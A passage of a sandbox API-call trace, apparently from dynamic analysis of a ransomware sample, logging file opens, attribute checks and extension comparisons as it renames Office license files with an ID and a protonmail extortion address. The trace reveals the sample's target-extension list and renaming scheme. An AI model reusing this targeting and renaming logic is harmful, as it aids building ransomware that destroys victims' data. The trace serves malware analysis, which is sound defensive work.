Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.338] CloseHandle (hObject=0x118c) returned 1 [0253.339] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.339] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp5-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp5-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.339] CloseHandle (hObject=0x118c) returned 1 [0253.340] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.340] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.340] CloseHandle (hObject=0x118c) returned 1 [0253.341] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.342] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.342] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.342] CloseHandle (hObject=0x118c) returned 1 [0253.343] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.343] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.343] CloseHandle (hObject=0x118c) returned 1 [0253.344] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.344] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp6-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp6-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.345] CloseHandle (hObject=0x118c) returned 1 [0253.346] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.346] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.346] CloseHandle (hObject=0x118c) returned 1 [0253.349] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.349] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.349] CloseHandle (hObject=0x118c) returned 1 [0253.351] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.351] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.351] CloseHandle (hObject=0x118c) returned 1 [0253.353] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.353] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.354] CloseHandle (hObject=0x118c) returned 1 [0253.355] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.355] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.356] CloseHandle (hObject=0x118c) returned 1 [0253.358] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.358] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.358] CloseHandle (hObject=0x118c) returned 1 [0253.359] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.360] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.360] CloseHandle (hObject=0x118c) returned 1 [0253.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.360] lstrlenW (lpString=".doc") returned 4 [0253.361] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.361] lstrlenW (lpString=".docx") returned 5 [0253.361] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.361] lstrlenW (lpString=".pdf") returned 4 [0253.361] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.361] lstrlenW (lpString=".xls") returned 4 [0253.361] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.361] lstrlenW (lpString=".xlsx") returned 5 [0253.361] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.361] lstrlenW (lpString=".ppt") returned 4 [0253.361] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.361] lstrlenW (lpString=".zip") returned 4 [0253.361] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.361] lstrlenW (lpString=".rar") returned 4 [0253.361] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.361] lstrlenW (lpString=".bz2") returned 4 [0253.361] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.361] lstrlenW (lpString=".7z") returned 3 [0253.361] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.361] lstrlenW (lpString=".dbf") returned 4 [0253.361] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.361] lstrlenW (lpString=".1cd") returned 4 [0253.361] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.362] lstrlenW (lpString=".jpg") returned 4 [0253.362] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.362] lstrlenW (lpString=".doc") returned 4 [0253.362] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.362] lstrlenW (lpString=".docx") returned 5 [0253.362] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.362] lstrlenW (lpString=".pdf") returned 4 [0253.362] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.362] lstrlenW (lpString=".xls") returned 4 [0253.362] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.362] lstrlenW (lpString=".xlsx") returned 5 [0253.362] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.362] lstrlenW (lpString=".ppt") returned 4 [0253.362] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.363] lstrlenW (lpString=".zip") returned 4 [0253.363] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.363] lstrlenW (lpString=".rar") returned 4 [0253.363] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.363] lstrlenW (lpString=".bz2") returned 4 [0253.363] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.363] lstrlenW (lpString=".7z") returned 3 [0253.363] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.363] lstrlenW (lpString=".dbf") returned 4 [0253.363] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.363] lstrlenW (lpString=".1cd") returned 4 [0253.363] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial-ul-oob.xrm-ms") returned 78 [0253.363] lstrlenW (lpString=".jpg") returned 4 [0253.363] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.363] lstrcmpiW (lpString1=".xrm-ms", lpString2=".com") returned 1 [0253.363] lstrlenW (lpString="ProPlusR_Trial2-pl.xrm-ms") returned 25 [0253.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0253.364] GetFileSizeEx (in: hFile=0x118c, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=11151) returned 1 [0253.364] CloseHandle (hObject=0x118c) returned 1 [0253.364] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-pl.xrm-ms")) returned 0x220 [0253.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x118c [0253.365] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.365] SetFilePointerEx (in: hFile=0x118c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_trial2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.366] CloseHandle (hObject=0x118c) returned 1 [0253.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.366] lstrlenW (lpString=".doc") returned 4 [0253.366] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.366] lstrlenW (lpString=".docx") returned 5 [0253.366] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.366] lstrlenW (lpString=".pdf") returned 4 [0253.366] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.366] lstrlenW (lpString=".xls") returned 4 [0253.366] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.366] lstrlenW (lpString=".xlsx") returned 5 [0253.366] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.366] lstrlenW (lpString=".ppt") returned 4 [0253.366] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.366] lstrlenW (lpString=".zip") returned 4 [0253.366] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.366] lstrlenW (lpString=".rar") returned 4 [0253.366] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.366] lstrlenW (lpString=".bz2") returned 4 [0253.366] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.366] lstrlenW (lpString=".7z") returned 3 [0253.366] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.367] lstrlenW (lpString=".dbf") returned 4 [0253.367] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.367] lstrlenW (lpString=".1cd") returned 4 [0253.367] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.367] lstrlenW (lpString=".jpg") returned 4 [0253.367] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.367] lstrlenW (lpString=".doc") returned 4 [0253.367] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.367] lstrlenW (lpString=".docx") returned 5 [0253.367] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.367] lstrlenW (lpString=".pdf") returned 4 [0253.367] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.367] lstrlenW (lpString=".xls") returned 4 [0253.367] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.367] lstrlenW (lpString=".xlsx") returned 5 [0253.367] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.367] lstrlenW (lpString=".ppt") returned 4 [0253.367] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.367] lstrlenW (lpString=".zip") returned 4 [0253.368] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.368] lstrlenW (lpString=".rar") returned 4 [0253.602] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.602] lstrlenW (lpString=".bz2") returned 4 [0253.602] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.602] lstrlenW (lpString=".7z") returned 3 [0253.602] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.602] lstrlenW (lpString=".dbf") returned 4 [0253.602] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0253.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.602] lstrlenW (lpString=".1cd") returned 4 [0253.602] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0253.602] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Trial2-pl.xrm-ms") returned 75 [0253.602] lstrlenW (lpString=".jpg") returned 4 [0253.602] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0253.603] lstrcmpiW (lpString1=".xrm-ms", lpString2=".com") returned 1 [0253.603] lstrlenW (lpString="StandardVL_MAK-ul-phn.xrm-ms") returned 28 [0253.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1234 [0253.603] GetFileSizeEx (in: hFile=0x1234, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=19936) returned 1 [0253.603] CloseHandle (hObject=0x1234) returned 1 [0253.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-phn.xrm-ms")) returned 0x220 [0253.604] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0253.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1234 [0253.604] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.604] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0253.604] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\standardvl_mak-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.605] CloseHandle (hObject=0x1234) returned 1 [0253.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.605] lstrlenW (lpString=".doc") returned 4 [0253.605] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0253.605] lstrlenW (lpString=".docx") returned 5 [0253.605] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0253.605] lstrlenW (lpString=".pdf") returned 4 [0253.605] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0253.605] lstrlenW (lpString=".xls") returned 4 [0253.605] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0253.605] lstrlenW (lpString=".xlsx") returned 5 [0253.605] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0253.605] lstrlenW (lpString=".ppt") returned 4 [0253.605] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0253.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.605] lstrlenW (lpString=".zip") returned 4 [0253.606] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0253.606] lstrlenW (lpString=".rar") returned 4 [0253.606] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0253.606] lstrlenW (lpString=".bz2") returned 4 [0253.606] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0253.606] lstrlenW (lpString=".7z") returned 3 [0253.606] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0253.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\StandardVL_MAK-ul-phn.xrm-ms") returned 78 [0253.606] lstrlenW (lpString=".dbf") returned 4 [0253.606] lstrcmpiW 